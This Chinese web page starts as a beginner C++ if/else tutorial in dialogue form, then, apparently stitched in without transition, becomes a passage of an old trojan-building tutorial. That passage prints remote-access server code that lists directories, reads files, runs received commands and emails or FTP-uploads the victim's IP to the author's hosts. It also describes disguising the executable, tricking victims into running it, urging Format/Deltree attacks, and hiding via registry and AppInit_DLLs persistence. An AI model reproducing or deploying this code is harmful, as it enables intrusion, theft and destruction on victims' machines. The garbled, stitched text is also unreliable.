3分钟搞定 C++ if else 语句 05

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🐰小C:小媛,你是做事讲逻辑还是不讲逻辑?

👸小媛:???你意思是我平时无理取闹?

🐰小C:我没有呀,你是从哪以为我说你无理取闹的?

👸小媛:你说我不讲逻辑!

🐰小C:??没有啊,我没有说啊。

👸小媛:你看你的第一句话,不是在说我无理取闹吗?

🐰小C:有吗?我是问你你觉得自己是不是讲逻辑的人,不是说你不讲逻辑。

👸小媛:那你问我讲不讲逻辑,意思不就是说我不讲逻辑?

🐰小C:emmmm,我没有。今天学的东西是跟逻辑有关的。

👸小媛:你意思是说我学不会咯!?!

🐰小C:?!我…那你还学不学?

👸小媛:学!

🐰小C:那不就得了。

👸小媛:学会了就说明我是讲逻辑的人。

🐰小C:好好好,是是是,你说的都对。

👸小媛:那今天到底学什么。

🐰小C:今天我们学逻辑判断。

👸小媛:那赶紧开始的。

🐰小C:今天我们学的是 if 逻辑判断,用于判断一些条件是否正确从而执行对应的流程。

👸小媛:那不是很简单吗?我都理解了。

🐰小C:你看看下面的代码,这是个示例。

#include<iostream>

using namespace std;
int main(){
	int a=1;
	if(a==1){
		cout<<"a的值判断条件正确...";
	}	
}

👸小媛:这是啥意思?

🐰小C:你看我们 main 里面的第一句代码,是不是 int a=1?

👸小媛:对呀?然后呢?

🐰小C:在之后我们使用了 if,if 就表示开始进行条件判断了,这个条件需要填写到 if 后的圆括号中。

👸小媛:你的意思是在这里就是判断 a==1 ?所以为什么是两个等于号?

🐰小C:两个等于号的意思是判断两个等于号的左右两边是否相等,也就是判断 a 是否等于数字 1。

👸小媛:唔,明白了,意思是两个等于号判断左右两边是否相等?

🐰小C:对的,一个等于号在 C 语言中是用来赋值,两个等于号就是表示判断相等。在这里,如果 a 等于 1,那么就执行圆括号后紧接着的花括号里面的代码语句。

👸小媛:所以才会显示显示出 “a的值判断条件正确…” 吧?

🐰小C:是的,如果不等于将不会显示,因为不会执行里面的代码。

👸小媛:明白了。

🐰小C:那你没觉得这段代码少了什么吗?

👸小媛:少了啥?

🐰小C:难道你没觉得我们的这个语句应该多一个错误判断吗?也就是条件不正确时应该执行的流程。

👸小媛:那怎么做呢?

🐰小C:很简单,你看下面的代码。

#include<iostream>

using namespace std;
int main(){
	int a=11;
	if(a==1){
		cout<<"a的值判断条件正确...";
	}else{
		cout<<"a的值判断条件错误...";
	}	
}

👸小媛:在正确的流程的花括号后紧接着写上了 else,这部分就是错误时执行的吗?

🐰小C:是的,当条件判断错误后,else 后的花括号內的代码就是错误时执行的,下面是执行结果。

👸小媛:唔,原来如此,那如果我想判断这个 a 是等于 1、等于 2、等于 3 这样的多个条件呢?

🐰小C:那也很简单,这个时候我们使用 if else if 就可以了。

#include<iostream>

using namespace std;
int main(){
	int a=3;
	if(a==1){
		cout<<"a的值为 1 ...";
	}else if(a==2){
		cout<<"a的值为 2 ...";
	}else if(a==3){
		cout<<"a的值为 3 ...";
	}else if(a==4){
		cout<<"a的值为 4 ...";
	}else if(a==5){
		cout<<"a的值为 5 ...";
	}else{
		cout<<"a的值判断条件错误...";
	}	
}

👸小媛:咦?你这里多了个 else if,后面还有给圆括号里面有一个条件?

🐰小C:是的,这个就是多条件的分支,如果 a 等于 1,那么就执行 a==1 这个条件判断正确后花括号内的代码,其它分支不会执行,如果 a 等于 2,那么就会执行 else if(a==2) 后花括号内的代码,其它语句流程不再执行,如果所有条件都错误,那么就执行 else 部分代码。

👸小媛:明白了,你的意思是只会执行对应条件的分支,其它则不执行,我明白了。

🐰小C:是的,下面就是执行结果。

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本教程目录

【必懂C++】3分钟搞定 C++ if else 语句 05—— if else
【必懂C++】因为我的名字特殊大家都是用异样的眼光在看着我 04—— 变量名和常量
【必懂C++】C++ 语法都不会怎么写代码? 03—— 变量和类型扩展
【必懂C++】C++可真是个“固执”的小可爱 02—— 变量和类型初窥
【必懂C++】第一个程序当然是HelloWorld呀 01—— HelloWorld

摘要

本系列文章将会以通俗易懂的对话方式进行教学,对话中将涵盖了新手在学习中的一般问题。此系列将会持续更新,包括别的语言以及实战都将使用对话的方式进行教学,基础编程语言教学适用于零基础小白,之后实战课程也将会逐步更新。

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   fclose(fp);    //写完后关闭目标文件    Socket->SendText("Sucess");    //然后发回“Success”的成功信息   } }   你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开 上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲啰: { else if(temp.SubString(0,3)==dir) { file://如果前3个字符是“dir” int Read_Num; char * CR_LF=\n; int attrib; char *filename; DIR *dir; struct dirent *ent; int number=temp.Length(); file://得到字符串的长度 AnsiString Dir_Name=temp.SubString(5,number-3); file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名 if(Dir_Name==) { file://如果目录名为空 Socket->SendText(Fail By Open DIRs Name); file://返回“Fail By Open DIRs Name”信息 goto END; file://跳到END } char * dirname; dirname=Dir_Name.c_str(); if ((dir = opendir(dirname)) == NULL) { file://如果打开目录出错 Socket->SendText(Fail by your DIRs name!); file://返回“Fail By Your DIRs Name”信息 goto END; file://跳到END } times_of_try=0; while(fp==NULL) { file://如果指针是NULL fp=fopen(TempFile,w+); file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功(真有耐心!) Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } while ((ent = readdir(dir)) != NULL) { file://如果访问目标目录成功 if(*(AnsiString(dirname)).AnsiLastChar()!=\\) file://如果最后一个字符不是“\”,证明不是根目录 filename=(AnsiString(dirname)+\\+ent->d_name).c_str(); file://加上“\”字符后将指针指向目录流 else filename=(AnsiString(dirname)+ent->d_name).c_str(); file://如果是根目录,则不用加“\” attrib=_rtl_chmod(filename, 0); file://得到目标文件的访问属性 if (attrib & FA_RDONLY) file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0 fwrite( R,sizeof(char),3,fp); file://将目标文件属性设为只读 else fwrite( ,sizeof(char),3,fp); file://失败则写入空格 if (attrib & FA_HIDDEN) fwrite(H,sizeof(char),1,fp); file://将目标文件属性设为隐藏 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_SYSTEM) fwrite(S,sizeof(char),1,fp); file://将目标文件属性设为系统 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_ARCH) fwrite(A,sizeof(char),1,fp); file://将目标文件属性设为普通 else fwrite( ,sizeof(char),1,fp); file://失败则写入空格 if (attrib & FA_DIREC) fwrite( <DIR> ,sizeof(char),9,fp); file://将目标文件属性设为目录 else fwrite( ,sizeof(char),9,fp); file://失败则写入空格 fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp); file://将目录名写入目标文件 fwrite(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir); file://关闭目录 FILE *fp1=NULL; times_of_try=0; while(fp1==NULL) { fp1=fopen(TempFile,r); file://打开Win369.bat准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已经试了100次了,仍未成功 Socket->SendText(Fail By Open File); file://就发回“Fail By Open File”的错误信息 goto END; file://并跳到END处 } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义的一个空数组 Read_Num=fread(temp_content,1,300,fp1); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp1); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text变量加上刚才的300个字符 fclose(fp1); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text变量的内容 } } 够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?): { else if(temp.SubString(0,4)==type) { file://如果前4个字符是“type” int Read_Num; int number=temp.Length(); AnsiString File_Name=temp.SubString(6,number-4); file://将目标文件流存入File_Name变量中 times_of_try=0; while(fp==NULL) { fp=fopen(File_Name.c_str(),r); file://打开目标文件准备读 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { file://如果已试了100次了 Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的错误信息 goto END; file://跳到END } } AnsiString Return_Text=; char temp_content[300]; for(int i=0;i<300;i++) temp_content=\0; file://定义一个空数组 Read_Num=fread(temp_content,1,300,fp); file://从目标文件中读入前300个字符 while(Read_Num==300) { Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 for(int i=0;i<300;i++) temp_content=\0; Read_Num=fread(temp_content,1,300,fp); file://重复 }; Return_Text=Return_Text+temp_content; file://Return_Text的内容加上刚才的字符 fclose(fp); file://关闭目标文件 Socket->SendText(Return_Text); file://返回Return_Text的内容,即你查看文件的内容 } } 咳咳!累死了!还是来点轻松的吧——操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中): { else if(temp==open) { file://如果收到的temp的内容是“open” mciSendString(set cdaudio door open, NULL, 0, NULL); file://就弹出光驱的托盘 } else if(temp==close) { file://如果收到的temp的内容是“close” mciSendString(Set cdaudio door closed wait, NULL, 0, NULL); file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^ } } 接着就是交换目标机的鼠标左右键,代码如下: { else if(temp==swap) { SwapMouseButton(1); file://交换鼠标左右键,简单吧? } } 然后就是使目标机重新启动。但这里要区分WinNt和Win9x——NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限: { else if(temp==reboot) { file://如果收到的temp的内容是“temp” DWORD dwVersion = GetVersion(); file://得到操作系统的版本号 if (dwVersion < 0x80000000) { file://操作系统是WinNt,不是Win9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌 file://GetCurrentProcess()函数的作用是得到本进程的句柄 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); file://LookupPrivilegeValue()的作用是修改进程的权限 tkp.PrivilegeCount = 1; file://赋给本进程特权 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); file://强行退出WinNt并重启 } else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0); file://强行退出Win9x并重启 } } 如果以上都不是,就让它在Dos窗口中执行传来的命令: { else { file://如果都不是 char * CR_TF=\n; times_of_try=0; while(fp==NULL) { fp=fopen(TempFile,w+); file://创建Win369.bat,如果已存在就覆盖 times_of_try=times_of_try+1; file://计数器加1 if(times_of_try>100) { Socket->SendText(Fail By Open File); file://返回“Fail By Open File”的信息 goto END; file://跳到END } } fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp); file://写入欲执行的命令 fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp); file://写入换行符 fclose(fp); file://关闭Win369.bat system(TempFile); file://执行Win369.bat Socket->SendText(Success); file://返回“Success”信息 } } 你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^ 到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续) 上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^): { END:; Socket->Close(); file://关闭服务 ServerSocket1->Active =true; file://再次打开服务 if (NMSMTP1->Connected) NMSMTP1->Disconnect(); file://如果SMTP服务器已连接则断开 NMSMTP1->Host = "smtp.163.net"; file://选一个好用的SMTP服务器,如163、263、sina和btamail NMSMTP1->UserID = ""; file://你SMTP的ID try { NMSMTP1->Connect(); file://再次连接 } catch(...) { goto NextTime; file://跳到NextTime } NMSMTP1->PostMessage->FromAddress ="I don&#39;t know!"; file://受害者的Email地址 NMSMTP1->PostMessage->FromName = "Casualty"; file://受害者的名字 NMSMTP1->PostMessage->ToAddress->Text = "<font color="#4d6c80"623737739@qq.com"; file://将信发到我的邮箱,这一步很关键 NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ; file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接 NMSMTP1->PostMessage->Subject = "Server Running Now!"; file://信的主题 NMSMTP1->SendMail(); file://发送! return; file://返回 NextTime: NMFTP1->Host = "ftp.go.163.com"; file://你的FTP服务器的地址 NMFTP1->UserID = ""; file://你的用户ID NMFTP1->Port = 21; file://FTP端口号,一般为21 NMFTP1->Password = ""; file://你的FTP的密码 if(NMFTP1->Connected) NMFTP1->Disconnect(); file://如果已连接就断开 try { NMFTP1->Connect(); file://再连接 } catch(...) { return; file://返回 } AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP; file://受害者的IP地址 FILE * Upload; Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+"); file://创建一个新文件准备写,如果已存在就覆盖 fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload); file://写入以上的SendToSite的内容 fclose(Upload); file://写完后关闭此文件 NMFTP1->RemoveDir("public_html"); file://删除public_html目录 NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP); file://上传! } 啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件: #include <stdlib.h> #include <dirent.h> #include <fcntl.h> #include <dos.h> #include <sysstat.h> #include <winbase.h> #include <stdio.h> #include <process.h> #include <io.h> #include <mmsystem.h> 至此,服务器端(Server)程序已全部完工!(终于可以好好歇歇了!)别慌!以上代码只是完成了整个木马程序的一半。(“扑通”,有人晕倒了!)下面我们就将乘胜追击――搞定客户端程序(Client)! 客户端程序其实是很简单的。另新建一个Form,添加一个ClientSocket(和ServerSocket在相同的页下),再添加四个Editbox,命名为Edit1,Edit2,Edit3和Edit4,最后添加一个Button,Caption为“发送”。Edit1是输入命令用的,Edit2是准备输入目标机的IP地址用的,Edit3是输入连接端口号用的,Edit4是用来输入欲添加的语句或显示命令执行的结果的。(头是不是有点大了?!) 双击Button1,在Button1Click事件中添加如下代码: { if((Edit2->Text=="")||(Edit3->Text==""))return; file://如果输入IP地址框或输入端口号框有一个为空,就什么也不作 ClientSocket1->Address=Edit2->Text; file://目标IP地址 ClientSocket1->Port=atoi(Edit2->Text.c_str()); file://目标端口号,本例中的44444 ClientSocket1->Open(); file://连接! } 选中CilentSocket1控件,双击OnConnectt事件,在ClientSocket1Connect下添加如下代码: { if((Edit1->Text=="edit conf 1")||(Edit1->Text=="edit conf 2")) file://如果是要编辑autoexec.bat或config.sys Socket->SendText(Edit1->Text+Edit4->Text); file://发送命令和欲添加的语句 else Socket->SendText(Edit1->Text); file://否则只发送命令 } 双击OnRead事件,在ClientSocket1Read下添加如下代码: { AnsiString ReadIn = Socket->ReceiveText(); file://读入收到的返回信息 Edit4->Text=""; file://清空编辑框 FILE *fp; fp = fopen("ReadIn.tmp","w"); file://建立一个临时文件ReadIn.tmp fwrite(ReadIn.c_str(),1,10000,fp); file://写入信息 fclose(fp); file://关闭之 Edit4->Lines->LoadFromFile("ReadIn.tmp"); file://在编辑框中显示返回的信息 } 为了敲完命令后直接回车就可以发送,我们可以使Button1的代码共享。双击Edit1的OnKeyPress命令,输入: { if(Key==VK_RETURN)Button1Click(Sender); file://如果敲的是回车键,就和点击Button1一样的效果 } 最后再添加以下头文件: #include "stdlib.h" #include "winbase.h" #include "fcntl.h" #include "stdio.h" 终于写完了!!!(如果你对简陋的界面不满意,可以自己用BCB中丰富的控件好好完善完善嘛!)按下Ctrl+F9进行编译链接吧!对于Server,你可以选一个足以迷惑人的图标(我选的是一个目录模样的图标)进行编译,这样不但受害者容易中招,而且便于隐藏自己。 接下来就把Server程序寄给受害者,诱骗他(她)执行,在你得到他(她)的IP后(这不用我教吧?),就启动Client程序,敲入“editconf 1”就编辑Autoexec.bat文件,敲入“edit conf 2”就编辑Config.sys文件,敲入“dirxxx”(xxx是目录名)就可以看到目录和文件,敲“typexxx”就可以察看任何文件,输入“open”,弹出目标机的光驱托盘,“close”就收入托盘,输入“swap”就可以交换受害者的鼠标左右键,输入“reboot”就启动目标机……不用我多说了吧? 以上只是一个简单的例子,真正写起木马来要解决的技术问题比这多得多,这得需要扎实的编程功底和丰富的经验。如下的问题就值得仔细考虑: 首先是程序的大小问题,本程序经编译链接后得到的可执行文件竟有400多K,用Aspack1.07压了一下也还有200多K。可以看出不必要的Form是应该去掉的;并且尽量由自己调用底层的API函数,而尽量少使用Borland打好包的VCL控件;要尽量使用汇编语言(BCB支持C++和汇编混编),不但速度会加快,而且大小可以小很多,毕竟木马是越小越好。 还有启动方式的选择。出了Win.ini、System.ini之外,也还是那几个注册表键值,如: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunServices HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun 都已被其他的木马用烂了。现在又开始对exe、dll和txt文件的关联程序动手脚了(如冰河和广外女生)。这里涉及到参数传递的问题。得到ParamStr()函数传来的参数,启动自己后再启动与之关联的程序,并将参数传递给它,这样就完成了一次“双启动”,而受害者丝毫感觉不到有任何异常。具体键值如: 与exe文件建立关联:HKEY_CLASSES_ROOTexefileshellopencommand 与txt文件建立关联:HKEY_CLASSES_ROOT xtfileshellopencommand 与dll文件建立关联:HKEY_CLASSES_ROOTdllfileshellopencommand 等,当然还可以自己扩充。目前还有一种新方法:在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWindows下添加如下键值"AppInit_DLLs"="Server.dll",这就把Server.dll注册为系统启动时必须加载的模块(你应该把木马编译成DLL)。下次开机时,木马以动态链接库形式被加载,存在于系统进程中。因为没有它自己的PID(Process ID进程识别号),所以在NT的任务管理器中也看不见(不过在“系统信息”――“软件环境”――“已加载的32位模块”中还是可以详细看到当前内存中加载的每一个模块的 ^_^),这样做的目的是可以使自己的程序更加隐蔽,提高木马的生存能力。 木马的功能还可以大大扩充。你可以充分发挥你的想象力――比如上传、下载、新建、改名、移动文件,截图存为jpg文件传回,录音监听成Wav文件,录像成AVI文件,弹光驱,读软驱,关机,重启,不停地挂起,胡乱切换分辨率(烧掉你的显示器),发对话框,不停地打开资源管理器直到死机,杀掉Kernel32.dll进程使机器暴死,交换鼠标左右键,固定鼠标,限制鼠标活动范围,鼠标不听指挥到处乱窜,记录击键记录(记录上网口令,这需要深入了
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